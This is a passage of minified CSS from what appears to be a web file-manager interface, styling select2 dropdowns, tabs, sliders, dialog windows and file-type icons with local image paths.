#ccc;overflow:hidden;}span.select2-container--default .select2-dropdown .select2-search__field,span.select2-container--classic .select2-dropdown .select2-search__field{border:1px solid #ccc;}span.select2-container--default .select2-selection--multiple,span.select2-container--default .select2-selection--single,span.select2-container--classic .select2-selection--multiple,span.select2-container--classic .select2-selection--single{border:1px solid #ccc;border-radius:4px;outline:none;min-height:32px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice,span.select2-container--default .select2-selection--single .select2-selection__choice,span.select2-container--classic .select2-selection--multiple .select2-selection__choice,span.select2-container--classic .select2-selection--single .select2-selection__choice{background-color:#edf5ff;color:#3a96ff;border-color:#badaff;height:24px;line-height:22px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove,span.select2-container--default .select2-selection--single .select2-selection__choice .select2-selection__choice__remove,span.select2-container--classic .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove,span.select2-container--classic .select2-selection--single .select2-selection__choice .select2-selection__choice__remove{float:right;font-size:15px;color:#3a96ff;width:20px;height:22px;line-height:18px;text-align:center;margin-right:-2px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--default .select2-selection--single .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--classic .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--classic .select2-selection--single .select2-selection__choice .select2-selection__choice__remove:hover{color:#0063d3;}span.select2-container--default.select2-container--focus .select2-selection--multiple,span.select2-container--default.select2-container--focus .select2-selection--single,span.select2-container--classic.select2-container--focus .select2-selection--multiple,span.select2-container--classic.select2-container--focus .select2-selection--single{border:1px solid #3a96ff;}span.select2-container--default .select2-selection--single,span.select2-container--classic .select2-selection--single{background:#f8f8f8 url("../../../images/common//bg.gif") 0px -10px repeat-x;}span.select2-container--default .select2-selection--single .select2-selection__arrow,span.select2-container--classic .select2-selection--single .select2-selection__arrow{height:30px;width:26px;}span.select2-container--default .select2-selection--multiple ul.select2-selection__rendered:after,span.select2-container--classic .select2-selection--multiple ul.select2-selection__rendered:after{content:"";width:23px;height:50%;display:block;color:#aaa;position:absolute;right:1px;top:50%;margin-top:-7px;text-align:center;font-family:FontAwesome;}span.select2-container--default .select2-selection--multiple .select2-search--inline,span.select2-container--classic .select2-selection--multiple .select2-search--inline{height:29px;line-height:23px;}span.select2-container--default .select2-results.group-list-content>.select2-results__options,span.select2-container--classic .select2-results.group-list-content>.select2-results__options{z-index:100;width:100%;height:250px;max-height:250px;}span.select2-container--default .select2-results__option,span.select2-container--classic .select2-results__option{position:relative;}span.select2-container--default .select2-search--inline .select2-search__field,span.select2-container--classic .select2-search--inline .select2-search__field{padding-top:1px;}span.select2-container--default .select2-results__option[aria-selected=true],span.select2-container--default .select2-results__option[aria-selected=true].select2-results__option--highlighted,span.select2-container--classic .select2-results__option[aria-selected=true],span.select2-container--classic .select2-results__option[aria-selected=true].select2-results__option--highlighted{background:#edf5ff;color:#3a96ff;}span.select2-container--default .select2-results__option[aria-selected=true]:after,span.select2-container--classic .select2-results__option[aria-selected=true]:after{content:"\f00c";color:#3a96ff;position:absolute;right:10px;font-size:14px;font-family:FontAwesome;}span.select2-container--default .select2-results__option--highlighted[aria-selected],span.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#eee;color:#444;}span.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,span.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:1px solid transparent;}span.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple,span.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:1px solid transparent;}span.select2-container--default.select2-container--open .select2-dropdown.select2-dropdown--below,span.select2-container--classic.select2-container--open .select2-dropdown.select2-dropdown--below{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);margin-top:-1px;}span.select2-container--default.select2-container--open .select2-dropdown.select2-dropdown--above,span.select2-container--classic.select2-container--open .select2-dropdown.select2-dropdown--above{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);margin-top:1px;box-shadow:0 -2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);}span.select2-container--default.select2-container--open .select2-selection--multiple,span.select2-container--default.select2-container--open .select2-selection--single,span.select2-container--classic.select2-container--open .select2-selection--multiple,span.select2-container--classic.select2-container--open .select2-selection--single{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);}span.select2-container--default .ztree,span.select2-container--classic .ztree{padding:0;}span.select2-container--default .ztree li a,span.select2-container--classic .ztree li a{padding-left:0;height:26px;line-height:26px;border:none;margin:0;border-radius:0;}span.select2-container--default .ztree li a.this,span.select2-container--classic .ztree li a.this{background:#edf5ff;border:none;height:26px;line-height:26px;}span.select2-container--default .ztree li a.this:hover,span.select2-container--classic .ztree li a.this:hover{color:#3a96ff;}span.select2-container--default .ztree li a:hover,span.select2-container--classic .ztree li a:hover{border:none;margin:0;border-radius:0;color:#3a96ff;}span.select2-container--default .ztree .check-icon,span.select2-container--classic .ztree .check-icon{float:right;color:#fff;font-size:12px;text-align:center;width:15px;height:15px;line-height:15px;padding:0;margin-top:5px;margin-right:5px;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;transition:all .1s ease-in-out;}span.select2-container--default .ztree .check-icon:before,span.select2-container--classic .ztree .check-icon:before{content:"\f";}span.select2-container--default .ztree a.this .check-icon:before,span.select2-container--classic .ztree a.this .check-icon:before{content:"\f00c";color:#3a96ff;}body .select2-container{width:270px;margin-right:10px;}.tab-group{text-align:center;margin-bottom:-12px;position:relative;z-index:999;}.tab-group .tab-item{background:#fff;text-align:left;display:inline-block;margin-left:-5px;border:1px solid #ccc;border-bottom-color:#a6a6a6;border-right-color:#b8b8b8;}.tab-group .tab-item:hover{background:#e6e6e6;}.tab-group .tab-item:first-child{border-top-left-radius:3px;border-bottom-left-radius:3px;}.tab-group .tab-item:last-child{border-top-right-radius:3px;border-bottom-right-radius:3px;}.tab-group .tab-item a{text-decoration:none;color:#444;padding:0 15px;height:24px;display:inline-block;line-height:24px;}.tab-group .tab-item.active a{color:#fff;}.tab-group .tab-item.active,.tab-group .tab-item.active:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#6eb4f7', endColorstr='#1a82fb');background-image:-webkit-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-moz-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-o-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-ms-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);-pie-background:linear-gradient(to to bottom,#6eb4f7 0,#1a82fb 100%);color:#fff;z-index:10;border-color:#3f87dc;border-top-color:#4396e6;border-color:#388df8 #388df8 #0866dc transparent;}.tab-group .tab-item.active:hover,.tab-group .tab-item.active:active{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#3e9bf4', endColorstr='#0469de');background-image:-webkit-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:-moz-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:-o-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:-ms-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);-pie-background:linear-gradient(to to bottom,#3e9bf4 0,#0469de 100%);}.tab-group .tab-item:last-child.active,.tab-group .tab-item.active + .tab-item{border-left-color:transparent;}body .slider .slider-track{background:#ddd;box-shadow:none;}body .slider.slider-horizontal .slider-track{height:6px;}body .slider .slider-selection{transition:background-color .3s ease;background:#2196f3;box-shadow:none;}body .slider .slider-handle{margin-left:-7px;margin-top:-6px;width:14px;height:14px;cursor:pointer;border-radius:50%;border:2px solid #88c7f4;background:#fff;transition:border-color .3s ease, transform .3s cubic-bezier(.18,.89,.32,1.28);}body .slider .slider-handle.round:hover{box-shadow:0 0 0 6px rgba(150,219,250,0.7);}body .slider .tooltip{transition:all 0.168s cubic-bezier(0,0.84,0.58,1);}body .slider .tooltip.top{margin-top:-43px;}body .slider .tooltip.bottom{margin-top:20px;}body .slider .tooltip.top .tooltip-arrow{border-top-color:rgba(0,0,0,0.7);}body .slider .tooltip.bottom .tooltip-arrow{border-bottom-color:rgba(0,0,0,0.7);}body .slider .tooltip-inner{background-color:rgba(0,0,0,0.7);box-shadow:0 1px 5px rgba(0,0,0,0.2);padding:8px 15px;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .aui-outer .aui-buttons{box-shadow:0 0 20px #ddd;border-top:1px solid #eee;height:45px;padding-top:5px;border-top:none;background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .form-box.config-box .panel-body{left:130px;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group{position:absolute;left:0;padding:0;width:140px;height:100%;padding-top:20px;z-index:99999;background:#f5f7fa;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item{display:block;border:none;background:none;border-radius:0;font-size:14px;-webkit-transition:0.16s all;-moz-transition:0.16s all;-o-transition:0.16s all;-ms-transition:0.16s all;transition:0.16s all;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:hover{background:#eee;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:first-child,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:last-child{border-radius:0;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item a{padding:0 20px 0 15px;display:block;height:40px;line-height:40px;text-align:right;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active a{color:#2196F3;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover{background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:active{background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover a,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:active a{color:#2196F3;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:last-child.active,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active + .tab-item{border-left-color:transparent;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header{height:40px;border-bottom:1px solid #adabad;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#d3d1d3', endColorstr='#e7e5e7');background-image:-webkit-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-moz-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-o-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-ms-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);-pie-background:linear-gradient(to bottom,#d3d1d3 0%,#e7e5e7 100%);}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title{height:40px;line-height:40px;padding-left:20px;font-size:12px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title img,body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title .x-item-file{height:22px;width:22px;top:8px;margin-right:4px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row .setting-title{text-align:right;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row.form-userSelect .setting-content{background:#f4f4f4;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row.error .setting-content{background:#ffefed;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body{background:#eee;border:1px solid #e3e3e3;margin:20px;top:60px;bottom:30px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body .line,body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body hr{border-color:#ddd;}body .dialog-plugin-config.dialog-form-style-mac .tab-group{position:absolute;margin-top:25px;width:100%;z-index:999;}body .dialog-plugin-config.dialog-form-style-mac .aui-content{background:#f9f9f9;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-title{height:40px;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-buttons{padding-right:20px;height:30px;border-top:1px solid #ddd;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f2f4f7', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-o-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);-pie-background:linear-gradient(to left,#f2f4f7 0%,#f5f7fa 100%);background:#f9f9f9;border:none;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-buttons button{margin-top:1px;margin-left:20px;padding:0 2em;height:25px;}.message-box{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.message-box .content{padding:10px 30px;line-height:20px;width:auto;}.aui-outer{text-align:left;position:relative;}.aui-mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui-loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui-loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui-border,table.aui-dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui-nw,.aui-n,.aui-ne,.aui-w,.aui-c,.aui-e,.aui-sw,.aui-s,.aui-se,.aui-header,.aui-td-icon,.aui-main,.aui-footer{padding:0;}.aui-header,.aui-buttons button{font:12px/1.11;}.aui-title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui-title img,.aui-title .x-item-file{width:20px;margin-right:5px;border-radius:4px;cursor:pointer;pointer-events:all;}.aui-title img:hover,.aui-title .x-item-file:hover{transform:scale(1.1,1.1);}.aui-state-no-title .aui-title{display:none;}.aui-main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui-content{text-align:left;color:#666;border:none 0;}.aui-content{width:100%;height:100%;}.aui-content.aui-state-full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui-icon{vertical-align:middle;background:#fff;}.aui-icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui-buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui-buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui-buttons button:focus{outline:none 0;}.aui-buttons button:hover{background:#c4c4c4;}.aui-buttons button:active{background:#777777;}.aui-buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui-buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui-buttons button.aui-state-highlight{color:#FFF;background:#63acff;}.aui-buttons button.aui-state-highlight:hover{color:#FFF;background:#96c7ff;}.aui-buttons button.aui-state-highlight:active{background:#0076fc;}.aui-buttons button.disable,.aui-buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui-outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui-state-lock .aui-nw,.aui-state-lock .aui-n,.aui-state-lock .aui-ne,.aui-state-lock .aui-w,.aui-state-lock .aui-e,.aui-state-lock .aui-sw,.aui-state-lock .aui-s,.aui-state-lock .aui-se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui-title-bar{position:relative;height:100%;}.aui-title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui-state-focus .aui-mask{display:none;}.aui-state-focus .aui-outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui-state-focus .aui-title{background-color:#63acff;}.aui-state-drag .aui-title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui-min,.aui-max,.aui-close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui-min:hover,.aui-max:hover,.aui-close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui-close:hover{background:#cc0000;}.aui-min{right:82px;content:"\f068";}.aui-max{right:43px;content:"\f065";}.aui-close{right:5px;content:"\f00d";}.aui-min:before{content:"\f068";}.aui-max:before{content:"\f065";}.aui-close:before{content:"\f00d";}.aui-max,.aui-min{display:none;}.aui-state-no-title .aui-nw,.aui-state-no-title .aui-ne,.aui-state-no-title .aui-sw,.aui-state-no-title .aui-se{width:5px;height:5px;}.aui-state-no-title .aui-title-bar{bottom:0;_bottom:0;_margin-top:0;}.aui-state-no-title .aui-outer{box-shadow:none !important;border:none !important;}.aui-state-no-title .aui-inner{border:1px solid #aaa;}.aui-state-no-title .tips{padding:15px;padding-left:10px;}.aui-state-no-title .aui-nw,.aui-state-no-title .aui-n,.aui-state-no-title .aui-ne,.aui-state-no-title .aui-w,.aui-state-no-title .aui-e,.aui-state-no-title .aui-sw,.aui-state-no-title .aui-s,.aui-state-no-title .aui-se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui-state-no-title .aui-close,.aui-state-no-title .aui-max,.aui-state-no-title .aui-min{display:none;font-size:1em;}.dialog-max .aui-nw,.dialog-max .aui-ne,.dialog-max .aui-sw,.dialog-max .aui-se,.dialog-max .aui-w,.dialog-max .aui-e{width:0px;}.dialog-max .aui-sw,.dialog-max .aui-n,.dialog-max .aui-se{height:0px;}.dialog-max .aui-outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:999999;display:block;}.dialog-can-resize .resize-top{cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui-min,.dialog-can-resize .aui-max{display:block;}.dialog-min-size{width:250px !important;height:30px !important;}.dialog-min-size.dialog-no-title .aui-title,.dialog-min-size .aui-title{opacity:1 !important;}.dialog-min-size .aui-outer{width:250px;}.dialog-min-size .aui-header{height:30px;}.dialog-min-size .aui-title{text-align:left;padding-left:10px;}.dialog-min-size .aui-main,.dialog-min-size .aui-footer{display:none;}.dialog-min-size .resize-handle{display:none;}.dialog-no-title .aui-title-bar{position:absolute;z-index:99999;width:100%;height:30px;top:0;}.dialog-no-title .aui-title{opacity:0.01 !important;filter:alpha(opacity=1) !important;}.dialog-no-title .aui-inner{border:none;}.dialog-no-title .aui-nw,.dialog-no-title .aui-n,.dialog-no-title .aui-ne,.dialog-no-title .aui-w,.dialog-no-title .aui-e,.dialog-no-title .aui-sw,.dialog-no-title .aui-s,.dialog-no-title .aui-se{display:none;}.dialog-no-title .aui-outer .aui-min{right:80px;}.dialog-no-title .aui-outer .aui-min:before{content:"\f068" !important;}.dialog-no-title .aui-outer .aui-max{right:40px;}.dialog-no-title .aui-outer .aui-max:before{content:"\f065" !important;}.dialog-no-title .aui-outer .aui-close{right:0px;}.dialog-no-title .aui-outer .aui-close:before{content:"\f00d" !important;}.dialog-no-title .aui-outer .aui-min,.dialog-no-title .aui-outer .aui-max,.dialog-no-title .aui-outer .aui-close{display:block;position:absolute;text-decoration:none;outline:none;font-size:1.25em;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;color:#fff;top:0px;cursor:pointer;height:30px;line-height:30px;text-align:center;background-color:transparent;width:40px;font-family:FontAwesome;border:none;background-image:none;border-radius:0;}.dialog-no-title .aui-outer .aui-min:hover,.dialog-no-title .aui-outer .aui-max:hover,.dialog-no-title .aui-outer .aui-close:hover{color:#fff;border:none;box-shadow:none;background:#41acf8;background:rgba(0,0,0,0.4);}.dialog-no-title .aui-outer .aui-close:hover{background:#e81123;background:rgba(232,17,35,0.8);}.dialog-no-title.header-bg .aui-content .header{height:90px;background-color:#008def;background-image:linear-gradient(to bottom,#084998 0,#00a9fb 100%);color:#fff;position:relative;}.dialog-no-title.header-bg .aui-content .header .bg{background:url("../../../images/common/banner/box.png") 180px -220px no-repeat;width:100%;height:100%;position:absolute;opacity:0.7;}.dialog-no-title.dialog-max .aui-outer .aui-max{right:40px;}.dialog-no-title.dialog-max .aui-outer .aui-max:before{content:"\f066" !important;}body div.dialog-simple .aui-title-bar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui-border{border:none;overflow:auto;}body div.dialog-simple .aui-outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui-inner{border:none;background:none;}body div.dialog-simple .aui-nw,body div.dialog-simple .aui-n,body div.dialog-simple .aui-ne,body div.dialog-simple .aui-w,body div.dialog-simple .aui-e,body div.dialog-simple .aui-sw,body div.dialog-simple .aui-s,body div.dialog-simple .aui-se{background:none;}body div.dialog-simple .aui-title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui-min,body div.dialog-simple .aui-max,body div.dialog-simple .aui-close{border:none;top:5px;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui-min:hover,body div.dialog-simple .aui-max:hover,body div.dialog-simple .aui-close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui-min:active,body div.dialog-simple .aui-max:active,body div.dialog-simple .aui-close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui-main{background:none !important;}body div.dialog-simple .aui-max{right:30px;}body div.dialog-simple .aui-min{right:56px;}body div.dialog-simple .aui-dialog,body div.dialog-simple .aui-border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui-header{opacity:0.01;filter:alpha(opacity=1);border:1px solid rgba(0,0,0,0.01);border-bottom:none;}body div.dialog-simple .aui-nw,body div.dialog-simple .aui-ne{height:0px;}body div.dialog-simple.aui-state-drag .aui-header,body div.dialog-simple .dialog-mouse-in .aui-header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui-state-drag .aui-header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialog-max .aui-header{opacity:1.0;filter:alpha(opacity=100);}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.file-list-icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary-box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.file-list-list .file .ico .x-item-file,.file-list-split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task-tab .tabs .tab .x-item-file,.task-tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui-title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit-tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:12px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.context-menu-list .context-menu-item img.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;background:none;margin-right:12px;height:auto;}.aui-title .x-item-file.x-font-icon{font-size:12px;line-height:18px;color:#fff;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to 164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none 